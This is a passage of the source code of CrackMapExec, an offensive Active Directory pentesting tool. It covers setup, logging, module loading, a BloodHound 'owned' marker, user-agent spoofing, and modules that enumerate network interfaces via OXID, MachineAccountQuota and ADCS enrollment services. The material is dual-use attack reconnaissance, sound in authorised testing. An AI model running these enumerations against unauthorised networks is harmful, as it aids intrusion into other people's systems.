45 | b6FMHKpKOOkRQztqJR3ipMlW6Ceslwqs5CBRowbySi3C4kpEplM6hbVTelzwP6U=
46 | -----END CERTIFICATE-----
47 | 
--------------------------------------------------------------------------------
/cme/data/videos_for_darrell.harambe:
--------------------------------------------------------------------------------
 1 | https://www.youtube.com/watch?v=dQw4w9WgXcQ
 2 | https://www.youtube.com/watch?v=l12Csc_lW0Q
 3 | https://www.youtube.com/watch?v=wBqM2ytqHY4
 4 | https://www.youtube.com/watch?v=N1zL13LvxS8
 5 | https://imgur.com/gallery/s1hLouN
 6 | https://www.youtube.com/watch?v=Tay791Nprx0
 7 | https://www.youtube.com/watch?v=rOGbMwXnlQM
 8 | https://www.youtube.com/watch?v=mv8mV5X0MR8
 9 | https://www.youtube.com/watch?v=nH2gUPTFCfo
10 | https://www.youtube.com/watch?v=zzfQwXEqYaI
11 | https://www.youtube.com/watch?v=yuwprXAaSv0
12 | https://i.imgur.com/aTr6Afr.gifv
13 | https://www.youtube.com/watch?v=SZoiJM1vlfc
14 | https://www.youtube.com/watch?v=IvDeXaiBy3I
15 | https://www.youtube.com/watch?v=G0cqV3h-aDA
16 | https://www.youtube.com/watch?v=q6yHoSvrTss
17 | https://www.youtube.com/watch?v=jnHFYTjk4MQ
18 | https://www.youtube.com/watch?v=tVj0ZTS4WF4
19 | https://www.youtube.com/watch?v=q6EoRBvdVPQ
20 | https://www.youtube.com/watch?v=Sagg08DrO5U
21 | https://www.youtube.com/watch?v=z9Uz1icjwrM
22 | https://www.youtube.com/watch?v=FavUpD_IjVY
23 | https://www.youtube.com/watch?v=jX3iLfcMDCw
24 | https://www.youtube.com/watch?v=i8ju_10NkGY
25 | https://www.youtube.com/watch?v=6mMPhs6je8Y
26 | https://www.youtube.com/watch?v=CgmNoapY64E
27 | https://www.youtube.com/watch?v=lQCQ4nvn3Is
28 | https://www.youtube.com/watch?v=19N9pAF2qGo
29 | https://www.youtube.com/watch?v=PWmfNeLs7fA
30 | 
--------------------------------------------------------------------------------
/cme/first_run.py:
--------------------------------------------------------------------------------
  1 | import os
  2 | import errno
  3 | import sqlite3
  4 | import shutil
  5 | import cme
  6 | import configparser
  7 | from configparser import ConfigParser, NoSectionError, NoOptionError
  8 | from cme.loaders.protocol_loader import protocol_loader
  9 | from subprocess import check_output, PIPE
 10 | import sys
 11 | 
 12 | CME_PATH = os.path.expanduser('~/.cme')
 13 | TMP_PATH = os.path.join('/tmp', 'cme_hosted')
 14 | if os.name == 'nt':
 15 |     TMP_PATH = os.getenv('LOCALAPPDATA') + '\\Temp\\cme_hosted'
 16 | if hasattr(sys, 'getandroidapilevel'):
 17 |     TMP_PATH = os.path.join('/data','data', 'com.termux', 'files', 'usr', 'tmp', 'cme_hosted')
 18 | WS_PATH = os.path.join(CME_PATH, 'workspaces')
 19 | CERT_PATH = os.path.join(CME_PATH, 'cme.pem')
 20 | CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf')
 21 | 
 22 | 
 23 | def first_run_setup(logger):
 24 | 
 25 |     if not os.path.exists(TMP_PATH):
 26 |         os.mkdir(TMP_PATH)
 27 | 
 28 |     if not os.path.exists(CME_PATH):
 29 |         logger.info('First time use detected')
 30 |         logger.info('Creating home directory structure')
 31 |         os.mkdir(CME_PATH)
 32 | 
 33 |     folders = ['logs', 'modules', 'protocols', 'workspaces', 'obfuscated_scripts', 'screenshots']
 34 |     for folder in folders:
 35 |         if not os.path.exists(os.path.join(CME_PATH, folder)):
 36 |             os.mkdir(os.path.join(CME_PATH, folder))
 37 | 
 38 |     if not os.path.exists(os.path.join(WS_PATH, 'default')):
 39 |         logger.info('Creating default workspace')
 40 |         os.mkdir(os.path.join(WS_PATH, 'default'))
 41 | 
 42 |     p_loader = protocol_loader()
 43 |     protocols = p_loader.get_protocols()
 44 |     for protocol in protocols.keys():
 45 |         try:
 46 |             protocol_object = p_loader.load_protocol(protocols[protocol]['dbpath'])
 47 |         except KeyError:
 48 |             continue
 49 | 
 50 |         proto_db_path = os.path.join(WS_PATH, 'default', protocol + '.db')
 51 | 
 52 |         if not os.path.exists(proto_db_path):
 53 |             logger.info('Initializing {} protocol database'.format(protocol.upper()))
 54 |             conn = sqlite3.connect(proto_db_path)
 55 |             c = conn.cursor()
 56 | 
 57 |             # try to prevent some of the weird sqlite I/O errors
 58 |             c.execute('PRAGMA journal_mode = OFF')
 59 |             c.execute('PRAGMA foreign_keys = 1')
 60 | 
 61 |             getattr(protocol_object, 'database').db_schema(c)
 62 | 
 63 |             # commit the changes and close everything off
 64 |             conn.commit()
 65 |             conn.close()
 66 | 
 67 |     if not os.path.exists(CONFIG_PATH):
 68 |         logger.info('Copying default configuration file')
 69 |         default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'cme.conf')
 70 |         shutil.copy(default_path, CME_PATH)
 71 |     else:
 72 |         # This is just a quick check to make sure the config file isn't the old 3.x format
 73 |         try:
 74 |             config = configparser.ConfigParser()
 75 |             config.read(CONFIG_PATH)
 76 |             config.get('CME', 'workspace')
 77 |             config.get('CME', 'pwn3d_label')
 78 |             config.get('CME', 'audit_mode')
 79 |             config.get('BloodHound', 'bh_enabled')
 80 |         except (NoSectionError, NoOptionError):
 81 |             logger.info('Old configuration file detected, replacing with new version')
 82 |             default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'cme.conf')
 83 |             shutil.copy(default_path, CME_PATH)
 84 | 
 85 |     if not os.path.exists(CERT_PATH):
 86 |         logger.info('Generating SSL certificate')
 87 |         try:
 88 |             check_output(['openssl', 'help'], stderr=PIPE)
 89 |             if os.name != 'nt':
 90 |                 os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US" > /dev/null 2>&1'.format(path=CERT_PATH))
 91 |             else:
 92 |                 os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US"'.format(path=CERT_PATH))
 93 |         except OSError as e:
 94 |             if e.errno == errno.ENOENT:
 95 |                 logger.error('OpenSSL command line utility is not installed, could not generate certificate, using default certificate')
 96 |                 default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'default.pem')
 97 |                 shutil.copy(default_path, CERT_PATH)                
 98 |             else:
 99 |                 logger.error('Error while generating SSL certificate: {}'.format(e))
100 |                 sys.exit(1)
101 | 
--------------------------------------------------------------------------------
/cme/helpers/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/helpers/__init__.py
--------------------------------------------------------------------------------
/cme/helpers/bash.py:
--------------------------------------------------------------------------------
1 | import os
2 | import cme
3 | 
4 | def get_script(path):
5 |     with open(os.path.join(os.path.dirname(cme.__file__), 'data', path), 'r') as script:
6 |         return script.read()
7 | 
--------------------------------------------------------------------------------
/cme/helpers/bloodhound.py:
--------------------------------------------------------------------------------
 1 | def add_user_bh(user, domain, logger, config):
 2 |     users_owned = []
 3 |     if isinstance(user, str):
 4 |         users_owned.append({'username': user.upper(), 'domain': domain.upper()})
 5 |     else:
 6 |         users_owned = user
 7 |     if config.get('BloodHound', 'bh_enabled') != "False":
 8 |         try:
 9 |             from neo4j.v1 import GraphDatabase
10 |         except:
11 |             from neo4j import GraphDatabase
12 |         from neo4j.exceptions import AuthError, ServiceUnavailable
13 |         uri = "bolt://{}:{}".format(config.get('BloodHound', 'bh_uri'), config.get('BloodHound', 'bh_port'))
14 | 
15 |         driver = GraphDatabase.driver(uri, auth=(config.get('BloodHound', 'bh_user'), config.get('BloodHound', 'bh_pass')), encrypted=False)
16 |         try:
17 |             with driver.session() as session:
18 |                 with session.begin_transaction() as tx:
19 |                     for info in users_owned:
20 |                         if info['username'][-1] == '$':
21 |                             user_owned = info['username'][:-1] + "." + info['domain']
22 |                             account_type = 'Computer'
23 |                         else:
24 |                             user_owned = info['username'] + "@" + info['domain']
25 |                             account_type = 'User'
26 | 
27 |                         result = tx.run(
28 |                             "MATCH (c:{} {{name:\"{}\"}}) RETURN c".format(account_type, user_owned))
29 | 
30 |                         if result.data()[0]['c'].get('owned') in (False, None):
31 |                             logger.debug("MATCH (c:{} {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(account_type, user_owned))
32 |                             result = tx.run(
33 |                                 "MATCH (c:{} {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(account_type, user_owned))
34 |                             logger.highlight("Node {} successfully set as owned in BloodHound".format(user_owned))
35 |         except AuthError as e:
36 |             logger.error(
37 |                 "Provided Neo4J credentials ({}:{}) are not valid.".format(config.get('BloodHound', 'bh_user'), config.get('BloodHound', 'bh_pass')))
38 |             return
39 |         except ServiceUnavailable as e:
40 |             logger.error("Neo4J does not seem to be available on {}.".format(uri))
41 |             return
42 |         except Exception as e:
43 |             logger.error("Unexpected error with Neo4J")
44 |             logger.error("Account not found on the domain")
45 |             return
46 |         driver.close()
--------------------------------------------------------------------------------
/cme/helpers/http.py:
--------------------------------------------------------------------------------
 1 | import random
 2 | 
 3 | def get_desktop_uagent(uagent=None):
 4 | 
 5 |     desktop_uagents = {
 6 |         "MSIE9.0"  : "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
 7 |         "MSIE8.0"  : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)",
 8 |         "MSIE7.0"  : "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
 9 |         "MSIE6.0"  : "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
10 |         "Chrome32" : "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36",
11 |         "Chrome31" : "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36",
12 |         "Firefox25": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0",
13 |         "Firefox24": "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0,",
14 |         "Safari5.1": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
15 |         "Safari5.0": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16"
16 |     }
17 | 
18 |     if not uagent: 
19 |         return desktop_uagents[random.choice(desktop_uagents.keys())]
20 |     elif uagent:
21 |         return desktop_uagents[uagent]
--------------------------------------------------------------------------------
/cme/helpers/logger.py:
--------------------------------------------------------------------------------
 1 | import os
 2 | import random
 3 | from termcolor import colored
 4 | 
 5 | def write_log(data, log_name):
 6 |     logs_dir = os.path.join(os.path.expanduser('~/.cme'), 'logs')
 7 |     with open(os.path.join(logs_dir, log_name), 'w') as log_output:
 8 |         log_output.write(data)
 9 | 
10 | def highlight(text, color='yellow'):
11 |     if color == 'yellow':
12 |         return u'{}'.format(colored(text, 'yellow', attrs=['bold']))
13 |     elif color == 'red':
14 |         return u'{}'.format(colored(text, 'red', attrs=['bold']))
15 | 
--------------------------------------------------------------------------------
/cme/helpers/misc.py:
--------------------------------------------------------------------------------
 1 | import random
 2 | import string
 3 | import re
 4 | import inspect
 5 | import os
 6 | 
 7 | 
 8 | def identify_target_file(target_file):
 9 |     with open(target_file, 'r') as target_file_handle:
10 |         for i, line in enumerate(target_file_handle):
11 |             if i == 1:
12 |                 if line.startswith('\n'):
15 |                     return 'nmap'
16 | 
17 |     return 'unknown'
18 | 
19 | 
20 | def gen_random_string(length=10):
21 |     return ''.join(random.sample(string.ascii_letters, int(length)))
22 | 
23 | 
24 | def validate_ntlm(data):
25 |     allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
26 |     if allowed.match(data):
27 |         return True
28 |     else:
29 |         return False
30 | 
31 | 
32 | def called_from_cmd_args():
33 |     for stack in inspect.stack():
34 |         if stack[3] == 'print_host_info':
35 |             return True
36 |         if stack[3] == 'plaintext_login' or stack[3] == 'hash_login' or stack[3] == 'kerberos_login':
37 |             return True
38 |         if stack[3] == 'call_cmd_args':
39 |             return True
40 |     return False
41 | 
42 | 
43 | # Stolen from https://github.com/pydanny/whichcraft/
44 | def which(cmd, mode=os.F_OK | os.X_OK, path=None):
45 |     """Given a command, mode, and a PATH string, return the path which
46 |     conforms to the given mode on the PATH, or None if there is no such
47 |     file.
48 |     `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result
49 |     of os.environ.get("PATH"), or can be overridden with a custom search
50 |     path.
51 |     Note: This function was backported from the Python 3 source code.
52 |     """
53 |     # Check that a given file can be accessed with the correct mode.
54 |     # Additionally check that `file` is not a directory, as on Windows
55 |     # directories pass the os.access check.
56 |     def _access_check(fn, mode):
57 |         return (os.path.exists(fn) and os.access(fn, mode) and
58 |                 not os.path.isdir(fn))
59 | 
60 |     # If we're given a path with a directory part, look it up directly
61 |     # rather than referring to PATH directories. This includes checking
62 |     # relative to the current directory, e.g. ./script
63 |     if os.path.dirname(cmd):
64 |         if _access_check(cmd, mode):
65 |             return cmd
66 |         return None
67 | 
68 |     if path is None:
69 |         path = os.environ.get("PATH", os.defpath)
70 |     if not path:
71 |         return None
72 |     path = path.split(os.pathsep)
73 | 
74 |     files = [cmd]
75 | 
76 |     seen = set()
77 |     for dir in path:
78 |         normdir = os.path.normcase(dir)
79 |         if normdir not in seen:
80 |             seen.add(normdir)
81 |             for thefile in files:
82 |                 name = os.path.join(dir, thefile)
83 |                 if _access_check(name, mode):
84 |                     return name
85 |     return None
86 | 
--------------------------------------------------------------------------------
/cme/loaders/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/loaders/__init__.py
--------------------------------------------------------------------------------
/cme/loaders/module_loader.py:
--------------------------------------------------------------------------------
 1 | import imp
 2 | import os
 3 | import sys
 4 | import cme
 5 | from cme.context import Context
 6 | from cme.logger import CMEAdapter
 7 | 
 8 | class module_loader:
 9 | 
10 |     def __init__(self, args, db, logger):
11 |         self.args = args
12 |         self.db = db
13 |         self.logger = logger
14 |         self.cme_path = os.path.expanduser('~/.cme')
15 | 
16 |     def module_is_sane(self, module, module_path):
17 |         module_error = False
18 | 
19 |         if not hasattr(module, 'name'):
20 |             self.logger.error('{} missing the name variable'.format(module_path))
21 |             module_error = True
22 | 
23 |         elif not hasattr(module, 'description'):
24 |             self.logger.error('{} missing the description variable'.format(module_path))
25 |             module_error = True
26 | 
27 |         #elif not hasattr(module, 'chain_support'):
28 |         #    self.logger.error('{} missing the chain_support variable'.format(module_path))
29 |         #    module_error = True
30 | 
31 |         elif not hasattr(module, 'supported_protocols'):
32 |             self.logger.error('{} missing the supported_protocols variable'.format(module_path))
33 |             module_error = True
34 | 
35 |         elif not hasattr(module, 'opsec_safe'):
36 |             self.logger.error('{} missing the opsec_safe variable'.format(module_path))
37 |             module_error = True
38 | 
39 |         elif not hasattr(module, 'multiple_hosts'):
40 |             self.logger.error('{} missing the multiple_hosts variable'.format(module_path))
41 |             module_error = True
42 | 
43 |         elif not hasattr(module, 'options'):
44 |             self.logger.error('{} missing the options function'.format(module_path))
45 |             module_error = True
46 | 
47 |         elif not hasattr(module, 'on_login') and not (module, 'on_admin_login'):
48 |             self.logger.error('{} missing the on_login/on_admin_login function(s)'.format(module_path))
49 |             module_error = True
50 | 
51 |         if module_error: return False
52 | 
53 |         return True
54 | 
55 |     def load_module(self, module_path):
56 |         try:
57 |             module = imp.load_source('payload_module', module_path).CMEModule()
58 |             if self.module_is_sane(module, module_path):
59 |                 return module
60 |         except Exception as e:
61 |             self.logger.error('Failed loading module at {}: {}'.format(module_path, e))
62 | 
63 |         return None
64 | 
65 |     def get_modules(self):
66 |         modules = {}
67 | 
68 |         modules_paths = [os.path.join(os.path.dirname(cme.__file__), 'modules'), os.path.join(self.cme_path, 'modules')]
69 | 
70 |         for path in modules_paths:
71 |             for module in os.listdir(path):
72 |                 if module[-3:] == '.py' and module != 'example_module.py':
73 |                     module_path = os.path.join(path, module)
74 |                     m = self.load_module(os.path.join(path, module))
75 |                     if m and (self.args.protocol in m.supported_protocols):
76 |                         modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__}#'chain_support': m.chain_support}
77 | 
78 |         return modules
79 | 
80 |     def init_module(self, module_path):
81 | 
82 |         module  = None
83 | 
84 |         module = self.load_module(module_path)
85 | 
86 |         if module:
87 |             module_logger = CMEAdapter(extra={'module': module.name.upper()})
88 |             context = Context(self.db, module_logger, self.args)
89 | 
90 |             module_options = {}
91 | 
92 |             for option in self.args.module_options:
93 |                 key, value = option.split('=', 1)
94 |                 module_options[str(key).upper()] = value
95 | 
96 |             module.options(context, module_options)
97 | 
98 |         return module
99 | 
--------------------------------------------------------------------------------
/cme/loaders/protocol_loader.py:
--------------------------------------------------------------------------------
 1 | import imp
 2 | import os
 3 | import sys
 4 | import cme
 5 | 
 6 | class protocol_loader:
 7 | 
 8 |     def __init__(self):
 9 |         self.cme_path = os.path.expanduser('~/.cme')
10 | 
11 |     def load_protocol(self, protocol_path):
12 |         protocol = imp.load_source('protocol', protocol_path)
13 |         #if self.module_is_sane(module, module_path):
14 |         return protocol
15 | 
16 |     def get_protocols(self):
17 |         protocols = {}
18 | 
19 |         protocol_paths = [os.path.join(os.path.dirname(cme.__file__), 'protocols'), os.path.join(self.cme_path, 'protocols')]
20 | 
21 |         for path in protocol_paths:
22 |             for protocol in os.listdir(path):
23 |                 if protocol[-3:] == '.py' and protocol[:-3] != '__init__':
24 |                     protocol_path = os.path.join(path, protocol)
25 |                     protocol_name = protocol[:-3]
26 | 
27 |                     protocols[protocol_name] = {'path' : protocol_path}
28 | 
29 |                     db_file_path = os.path.join(path, protocol_name, 'database.py')
30 |                     db_nav_path = os.path.join(path, protocol_name, 'db_navigator.py')
31 |                     if os.path.exists(db_file_path):
32 |                         protocols[protocol_name]['dbpath'] = db_file_path
33 |                     if os.path.exists(db_nav_path):
34 |                         protocols[protocol_name]['nvpath'] = db_nav_path
35 | 
36 |         return protocols
37 | 
--------------------------------------------------------------------------------
/cme/logger.py:
--------------------------------------------------------------------------------
  1 | import logging
  2 | import sys
  3 | import re
  4 | from cme.helpers.misc import called_from_cmd_args
  5 | from termcolor import colored
  6 | from datetime import datetime
  7 | 
  8 | #The following hooks the FileHandler.emit function to remove ansi chars before logging to a file
  9 | #There must be a better way of doing this, but this way we might save some penguins!
 10 | 
 11 | ansi_escape = re.compile(r'\x1b[^m]*m')
 12 | 
 13 | def antiansi_emit(self, record):
 14 | 
 15 |     if self.stream is None:
 16 |         self.stream = self._open()
 17 | 
 18 |     record.msg = ansi_escape.sub('', record.message)
 19 |     logging.StreamHandler.emit(self, record)
 20 | 
 21 | logging.FileHandler.emit = antiansi_emit
 22 | 
 23 | ####################################################################
 24 | 
 25 | class CMEAdapter(logging.LoggerAdapter):
 26 | 
 27 |     # For Impacket's TDS library
 28 |     message = ''
 29 | 
 30 |     def __init__(self, logger_name='CME', extra=None):
 31 |         self.logger = logging.getLogger(logger_name)
 32 |         self.extra = extra
 33 | 
 34 |     def process(self, msg, kwargs):
 35 |         if self.extra is None:
 36 |             return u'{}'.format(msg), kwargs
 37 | 
 38 |         if 'module' in self.extra.keys():
 39 |             if len(self.extra['module']) > 8:
 40 |                 self.extra['module'] = self.extra['module'][:8] + '...'
 41 | 
 42 |         #If the logger is being called when hooking the 'options' module function
 43 |         if len(self.extra) == 1 and ('module' in self.extra.keys()):
 44 |             return u'{:<64} {}'.format(colored(self.extra['module'], 'cyan', attrs=['bold']), msg), kwargs
 45 | 
 46 |         #If the logger is being called from CMEServer
 47 |         if len(self.extra) == 2 and ('module' in self.extra.keys()) and ('host' in self.extra.keys()):
 48 |             return u'{:<24} {:<39} {}'.format(colored(self.extra['module'], 'cyan', attrs=['bold']), self.extra['host'], msg), kwargs
 49 | 
 50 |         #If the logger is being called from a protocol
 51 |         if 'module' in self.extra.keys():
 52 |             module_name = colored(self.extra['module'], 'cyan', attrs=['bold'])
 53 |         else:
 54 |             module_name = colored(self.extra['protocol'], 'blue', attrs=['bold'])
 55 | 
 56 |         return u'{:<24} {:<15} {:<6} {:<16} {}'.format(module_name,
 57 |                                                     self.extra['host'],
 58 |                                                     self.extra['port'],
 59 |                                                     self.extra['hostname'] if self.extra['hostname'] else 'NONE',
 60 |                                                     msg), kwargs
 61 | 
 62 |     def info(self, msg, *args, **kwargs):
 63 |         try:
 64 |             if 'protocol' in self.extra.keys() and not called_from_cmd_args():
 65 |                 return
 66 |         except AttributeError:
 67 |             pass
 68 | 
 69 |         msg, kwargs = self.process(u'{} {}'.format(colored("[*]", 'blue', attrs=['bold']), msg), kwargs)
 70 |         self.logger.info(msg, *args, **kwargs)
 71 | 
 72 |     def error(self, msg, color='red', *args, **kwargs):
 73 |         msg, kwargs = self.process(u'{} {}'.format(colored("[-]", color, attrs=['bold']), msg), kwargs)
 74 |         self.logger.error(msg, *args, **kwargs)
 75 | 
 76 |     def debug(self, msg, *args, **kwargs):
 77 |         pass
 78 | 
 79 |     def success(self, msg, *args, **kwargs):
 80 |         try:
 81 |             if 'protocol' in self.extra.keys() and not called_from_cmd_args():
 82 |                 return
 83 |         except AttributeError:
 84 |             pass
 85 | 
 86 |         msg, kwargs = self.process(u'{} {}'.format(colored("[+]", 'green', attrs=['bold']), msg), kwargs)
 87 |         self.logger.info(msg, *args, **kwargs)
 88 | 
 89 |     def highlight(self, msg, *args, **kwargs):
 90 |         try:
 91 |             if 'protocol' in self.extra.keys() and not called_from_cmd_args():
 92 |                 return
 93 |         except AttributeError:
 94 |             pass
 95 | 
 96 |         msg, kwargs = self.process(u'{}'.format(colored(msg, 'yellow', attrs=['bold'])), kwargs)
 97 |         self.logger.info(msg, *args, **kwargs)
 98 | 
 99 |     # For Impacket's TDS library
100 |     def logMessage(self,message):
101 |         CMEAdapter.message += message.strip().replace('NULL', '') + '\n'
102 | 
103 |     def getMessage(self):
104 |         out = CMEAdapter.message
105 |         CMEAdapter.message = ''
106 |         return out
107 | 
108 | def setup_debug_logger():
109 |     debug_output_string = "{} %(message)s".format(colored('DEBUG', 'magenta', attrs=['bold']))
110 |     formatter = logging.Formatter(debug_output_string)
111 |     streamHandler = logging.StreamHandler(sys.stdout)
112 |     streamHandler.setFormatter(formatter)
113 | 
114 |     root_logger = logging.getLogger()
115 |     root_logger.propagate = False
116 |     root_logger.addHandler(streamHandler)
117 |     #root_logger.addHandler(fileHandler)
118 |     root_logger.setLevel(logging.DEBUG)
119 |     return root_logger
120 | 
121 | def setup_logger(level=logging.INFO, log_to_file=False, log_prefix=None, logger_name='CME'):
122 | 
123 |     formatter = logging.Formatter("%(message)s")
124 | 
125 |     if log_to_file:
126 |         if not log_prefix:
127 |             log_prefix = 'log'
128 | 
129 |         log_filename = '{}_{}.log'.format(log_prefix.replace('/', '_'), datetime.now().strftime('%Y-%m-%d'))
130 |         fileHandler = logging.FileHandler('./logs/{}'.format(log_filename))
131 |         fileHandler.setFormatter(formatter)
132 | 
133 |     streamHandler = logging.StreamHandler(sys.stdout)
134 |     streamHandler.setFormatter(formatter)
135 | 
136 |     cme_logger = logging.getLogger(logger_name)
137 |     cme_logger.propagate = False
138 |     cme_logger.addHandler(streamHandler)
139 | 
140 |     if log_to_file:
141 |         cme_logger.addHandler(fileHandler)
142 | 
143 |     cme_logger.setLevel(level)
144 | 
145 |     return cme_logger
146 | 
--------------------------------------------------------------------------------
/cme/modules/IOXIDResolver.py:
--------------------------------------------------------------------------------
 1 | # Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
 2 | # Airbus CERT
 3 | # module by @mpgn_x64
 4 | 
 5 | from ipaddress import ip_address
 6 | from impacket.dcerpc.v5 import transport
 7 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
 8 | from impacket.dcerpc.v5.dcomrt import IObjectExporter
 9 | 
10 | class CMEModule:
11 | 
12 |     name = 'ioxidresolver'
13 |     description = "Thie module helps you to identify hosts that have additional active interfaces"
14 |     supported_protocols = ['smb']
15 |     opsec_safe = True
16 |     multiple_hosts = False
17 | 
18 |     def options(self, context, module_options):
19 |         '''
20 |         '''
21 | 
22 | 
23 |     def on_login(self, context, connection):
24 |         authLevel = RPC_C_AUTHN_LEVEL_NONE
25 | 
26 |         stringBinding = r'ncacn_ip_tcp:%s' % connection.host
27 |         rpctransport = transport.DCERPCTransportFactory(stringBinding)
28 | 
29 |         portmap = rpctransport.get_dce_rpc()
30 |         portmap.set_auth_level(authLevel)
31 |         portmap.connect()
32 | 
33 |         objExporter = IObjectExporter(portmap)
34 |         bindings = objExporter.ServerAlive2()
35 | 
36 |         context.log.debug("[*] Retrieving network interface of " + connection.host)
37 | 
38 |         #NetworkAddr = bindings[0]['aNetworkAddr']
39 |         for binding in bindings:
40 |             NetworkAddr = binding['aNetworkAddr']
41 |             try:
42 |                 ip_address(NetworkAddr[:-1])
43 |                 context.log.highlight("Address: " + NetworkAddr)
44 |             except Exception as e:
45 |                 context.log.debug(e)
46 | 
47 | 
48 | 
--------------------------------------------------------------------------------
/cme/modules/MachineAccountQuota.py:
--------------------------------------------------------------------------------
 1 | class CMEModule:
 2 |     '''
 3 |       Module by Shutdown and Podalirius
 4 | 
 5 |       Initial module:
 6 |         https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota
 7 | 
 8 |       Authors:
 9 |         Shutdown: @_nwodtuhs
10 |         Podalirius: @podalirius_
11 |     '''
12 | 
13 |     def options(self, context, module_options):
14 |         pass
15 | 
16 |     name = 'MAQ'
17 |     description = 'Retrieves the MachineAccountQuota domain-level attribute'
18 |     supported_protocols = ['ldap']
19 |     opsec_safe = True
20 |     multiple_hosts = False
21 | 
22 |     def on_login(self, context, connection):     
23 |         result = []
24 |         context.log.info('Getting the MachineAccountQuota')
25 |         searchFilter = '(objectClass=*)'
26 |         attributes = ['ms-DS-MachineAccountQuota']
27 |         result = connection.search(searchFilter, attributes)
28 |         context.log.highlight("MachineAccountQuota: %d" % result[0]['attributes'][0]['vals'][0])
29 | 
--------------------------------------------------------------------------------
/cme/modules/adcs.py:
--------------------------------------------------------------------------------
  1 | import re
  2 | 
  3 | from impacket.ldap import ldap, ldapasn1
  4 | from impacket.ldap.ldap import LDAPSearchError
  5 | 
  6 | class CMEModule:
  7 |     '''
  8 |     Find PKI Enrollment Services in Active Directory and Certificate Templates Names.
  9 | 
 10 |     Module by Tobias Neitzel (@qtc_de) and Sam Freeside (@snovvcrash)
 11 |     '''
 12 |     name = 'adcs'
 13 |     description = 'Find PKI Enrollment Services in Active Directory and Certificate Templates Names'
 14 |     supported_protocols = ['ldap']
 15 |     opsec_safe= True
 16 |     multiple_hosts = True
 17 | 
 18 |     def options(self, context, module_options):
 19 |         '''
 20 |         SERVER             PKI Enrollment Server to enumerate templates for. Default is None, use CN name
 21 |         '''
 22 |         self.context = context
 23 |         self.regex = re.compile('(https?://.+)')
 24 | 
 25 |         self.server = None
 26 |         if module_options and 'SERVER' in module_options:
 27 |             self.server = module_options['SERVER']
 28 | 
 29 |     def on_login(self, context, connection):
 30 |         '''
 31 |         On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names.
 32 |         '''
 33 |         if self.server is None:
 34 |             search_filter = '(objectClass=pKIEnrollmentService)'
 35 |         else:
 36 |             search_filter = '(distinguishedName=CN={},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,'.format(self.server)
 37 |             self.context.log.highlight('Using PKI CN: {}'.format(self.server))
 38 | 
 39 |         context.log.debug("Starting LDAP search with search filter '{}'".format(search_filter))
 40 | 
 41 |         try:
 42 |             sc = ldap.SimplePagedResultsControl()
 43 | 
 44 |             if self.server is None:
 45 |                 resp = connection.ldapConnection.search(searchFilter=search_filter,
 46 |                                             attributes=[],
 47 |                                             sizeLimit=0, searchControls=[sc],
 48 |                                             perRecordCallback=self.process_servers,
 49 |                                             searchBase='CN=Configuration,' + connection.ldapConnection._baseDN)
 50 |             else:
 51 |                 resp = connection.ldapConnection.search(searchFilter=search_filter + connection.ldapConnection._baseDN + ')',
 52 |                                             attributes=['certificateTemplates'],
 53 |                                             sizeLimit=0, searchControls=[sc],
 54 |                                             perRecordCallback=self.process_templates,
 55 |                                             searchBase='CN=Configuration,' + connection.ldapConnection._baseDN)
 56 | 
 57 |         except LDAPSearchError as e:
 58 |             context.log.error('Obtained unexpected exception: {}'.format(str(e)))
 59 | 
 60 |     def process_servers(self, item):
 61 |         '''
 62 |         Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers.
 63 |         '''
 64 |         if not isinstance(item, ldapasn1.SearchResultEntry):
 65 |             return
 66 | 
 67 |         urls = []
 68 |         host_name = None
 69 |         cn = None
 70 | 
 71 |         try:
 72 |             for attribute in item['attributes']:
 73 | 
 74 |                 
 75 | 
 76 |                 if str(attribute['type']) == 'dNSHostName':
 77 |                     host_name = attribute['vals'][0].asOctets().decode('utf-8')
 78 |                 if str(attribute['type']) == 'cn':
 79 |                     cn = attribute['vals'][0].asOctets().decode('utf-8')
 80 | 
 81 |                 elif str(attribute['type']) == 'msPKI-Enrollment-Servers':
 82 | 
 83 |                     values = attribute['vals']
 84 | 
 85 |                     for value in values:
 86 | 
 87 |                         value = value.asOctets().decode('utf-8')
 88 |                         match = self.regex.search(value)
 89 | 
 90 |                         if match:
